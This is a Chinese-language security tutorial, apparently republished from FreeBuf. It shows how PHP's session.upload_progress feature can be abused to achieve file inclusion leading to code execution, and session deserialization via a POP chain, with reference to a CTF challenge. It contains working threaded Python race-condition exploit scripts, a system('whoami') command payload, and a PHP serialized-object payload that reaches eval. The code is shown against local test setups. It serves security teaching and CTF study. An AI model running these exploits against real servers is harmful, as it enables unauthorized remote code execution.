利用session.upload_progress进行文件包含和反序列化渗透

2019-05-17 10:00 来源: FreeBuf 官方

前言

本文主要是利用PHP中的session.upload_progress功能作为跳板，从而进行文件包含和反序列化漏洞利用。由于首先需要了解关于session及其反序列化等相关的知识，所以对它们先进行介绍。有不对的地方，欢迎各位大佬指正。

php中的session.upload_progress

这个功能在php5.4添加的，所以测试的小伙伴，注意下版本哦。

在php.ini有以下几个默认选项

1. session.upload_progress.enabled = on

2. session.upload_progress.cleanup = on

3. session.upload_progress.prefix = "upload_progress_"

4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

5. session.upload_progress.freq = "1%"

6. session.upload_progress.min_freq = "1"

其实这里，我们只需要了解前四个配置选项即可，嘿嘿嘿，下面依次讲解。

enabled=on表示upload_progress功能开始，也意味着当浏览器向服务器上传一个文件时，php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ；

cleanup=on表示当文件上传结束后，php将会立即清空对应session文件中的内容，这个选项非常重要；

name当它出现在表单中，php将会报告上传进度，最大的好处是，它的值可控；

prefix+name将表示为session中的键名

因为这个不是本文的重点，所以这里附上几个相关链接。

另外，再添加个session配置中一个重要选项。

session.use_strict_mode=off这个选项默认值为off，表示我们对Cookie中sessionid可控。这一点至关重要，下面会用到。

利用session.upload_progress进行文件包含利用 测试环境

php5.5.38

win10

关于session相关的一切配置都是默认值

展开全文

$b=$_GET['file'];

include"$b";

?>

可以发现，存在一个文件包含漏洞，但是找不到一个可以包含的恶意文件。其实，我们可以利用session.upload_progress将恶意语句写入session文件，从而包含session文件。前提需要知道session文件的存放位置。

分析

问题一

代码里没有session_start,如何创建session文件呢。

解答一

其实，如果session.auto_start=On ，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start。但默认情况下，这个选项都是关闭的。

但session还有一个默认选项，session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如，我们在Cookie里设置PHPSESSID=TGAO，PHP将会在服务器上创建一个文件：/tmp/sess_TGAO”。即使此时用户没有初始化Session，PHP也会自动初始化Session。 并产生一个键值，这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成，最后被写入sess_文件里。

问题二

但是问题来了，默认配置session.upload_progress.cleanup = on导致文件上传后，session文件内容立即清空，

如何进行rce呢？

解答二

此时我们可以利用竞争，在session文件内容清空前进行包含利用。

利用脚本 #coding=utf-8

​

importio

importrequests

importthreading

sessid= 'TGAO'

data= {"cmd":"system('whoami');"}

defwrite(session):

whileTrue:

f= io.BytesIO(b'a'*1024*50)

resp= session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )

defread(session):

whileTrue:

resp= session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)

if'tgao.txt'inresp.text:

print(resp.text)

event.clear

else:

print("[+++++++++++++]retry")

if__name__=="__main__":

event=threading.Event

withrequests.sessionassession:

foriinxrange(1,30):

threading.Thread(target=write,args=(session,)).start

​

foriinxrange(1,30):

threading.Thread(target=read,args=(session,)).start

event.set

效果如下图

ctf题目

在最近，全国大学生信息安全竞赛中有一题justsoso,其中一个页面的代码如下。

<html>

php

error_reporting(0);

$file=$_GET["file"];

$payload=$_GET["payload"];

if(!isset($file)){

echo'Missing parameter'.'

';

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!');

}

@include($file);

if(isset($payload)){

$url=parse_url($_SERVER['REQUEST_URI']);

parse_str($url['query'],$query);

foreach($queryas$value){

if(preg_match("/flag/",$value)) {

die('stop hacking!');

exit;

}

}

$payload=unserialize($payload);

}else{

echo"Missing parameters";

}

?>

html>

在代码前几行可以看到，场景和前面的示例代码类似，只不过对变量$file加了过滤，不过没什么影响。

利用思路一样，这里就不再说了，网上也有相应的解法。

小结

利用条件

1. 存在文件包含漏洞

2. 知道session文件存放路径，可以尝试默认路径

3. 具有读取和写入session文件的权限

php5.5.38

win10

session.serialize_handler=php_serialize，其余session相关配置为默认值

error_reporting(0);

date_default_timezone_set("Asia/Shanghai");

ini_set('session.serialize_handler','php');

session_start;

classDoor{

public$handle;

​

function__construct{

$this->handle=newTimeNow;

}

​

function__destruct{

$this->handle->action;

}

}

classTimeNow{

functionaction{

echo"你的访问时间:"."".date('Y-m-d H:i:s',time);

}

}

classIP{

public$ip;

function__construct{

$this->ip='echo $_SERVER["REMOTE_ADDR"];';

}

functionaction{

eval($this->ip);

}

}

?>分析

问题一

整个代码没有参数可控的地方。通过什么方法来进行反序列化利用呢

解答一

这里，利用PHP_SESSION_UPLOAD_PROGRESS上传文件，其中利用文件名可控，从而构造恶意序列化语句并写入session文件。

另外，与文件包含利用一样，也需要进行竞争。

利用脚本

首先利用exp.php脚本构造恶意序列化语句

php

ini_set('session.serialize_handler', 'php_serialize');

session_start;

classDoor{

public$handle;

​

function__construct{

$this->handle=newIP;

}

​

function__destruct{

$this->handle->action;

}

}

classTimeNow{

functionaction{

echo"你的访问时间:"."".date('Y-m-d H:i:s',time);

}

}

​

classIP{

public$ip;

function__construct{

//$this->ip='payload';

$this->ip='phpinfo;';

//$this->ip='print_r(scandir('/'));';

}

functionaction{

eval($this->ip);

}

}

$a=newDoor;

$b=serialize($a);

$c=addslashes($b);

$d=str_replace("O:4:","|O:4:",$c);

echo$d;

?>

其此利用exp.py脚本进行竞争

#coding=utf-8

importrequests

importthreading

importio

importsys

​

defexp(ip,port):

f= io.BytesIO(b'a'*1024*1024*1)

whileTrue:

et.wait

url= 'http://'+ip+':'+str(port)+'/test5.php'

headers= {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

'DNT': '1',

'Cookie': 'PHPSESSID=20190506',

'Connection': 'close',

'Upgrade-Insecure-Requests': '1'

}

proxy= {

'http': '127.0.0.1:8080'

}

data={'PHP_SESSION_UPLOAD_PROGRESS':'123'}

files={

'file'r'|O:4:\"Door\":1:{s:6:\"handle\";O:2:\"IP\":1:{s:2:\"ip\";s:10:\"phpinfo;\";}}',f,'text/plain')

}

resp= requests.post(url,headers=headers,data=data,files=files,proxies=proxy) #,proxies=proxy

resp.encoding="utf-8"

iflen(resp.text)<2000:

print('[+++++]retry')

else:

print(resp.content.decode('utf-8').encode('utf-8'))

et.clear

print('success!')

​

if__name__== "__main__":

ip=sys.argv[1]

port=int(sys.argv[2])

et=threading.Event

foriinxrange(1,40):

threading.Thread(target=exp,args=(ip,port)).start

et.set

​

首先在代码里加个代理，利用burp抓包。如下图

这里有几个注意点：

PHPSESSID必须要有，因为要竞争同一个文件

filename可控，但是在值的最前面加上|,因为最终目的是利用session的反序列化，PHP_SESSION_UPLOAD_PROGRESS只是个跳板。其次把字符串中的双引号转义，以防止与最外层的双引号冲突

上传的文件要大些，否则很难竞争成功。我写入是这么大f = io.BytesIO(b'a' * 1024 *1024*1)

filename值中出现汉字时，会出错，所以在利用脚本前，一定要修改python源码

最后把exp.py中的代理去掉，直接跑exp.py,效果如下。

几次失败尝试

其实，利用burp抓到exp.py流量后，可以直接在burp爆破，但貌似数据包数据有点多，导致burp反应很慢，最终失败。

另外，我尝试伪造PHP_SESSION_UPLOAD_PROGRESS的值，但是值中一旦出现|，将会导致数据写入session文件失败。

利用条件主要是存在session反序列化漏洞。

从文件包含和反序列化两个利用点，可以发现，利用PHP_SESSION_UPLOAD_PROGRESS可以绕过大部分过滤，而且传输的数据也不易发现。

最后

我还是一枚小萌新，文章中有不对的地方，还请各位大佬们指正，非常感谢，嘻嘻嘻。

*本文作者：17851220695，转载请注明来自FreeBuf.COM返回搜狐，查看更多

阅读 ()
平台声明
该文观点仅代表作者本人，搜狐号系信息发布平台，搜狐仅提供信息存储空间服务。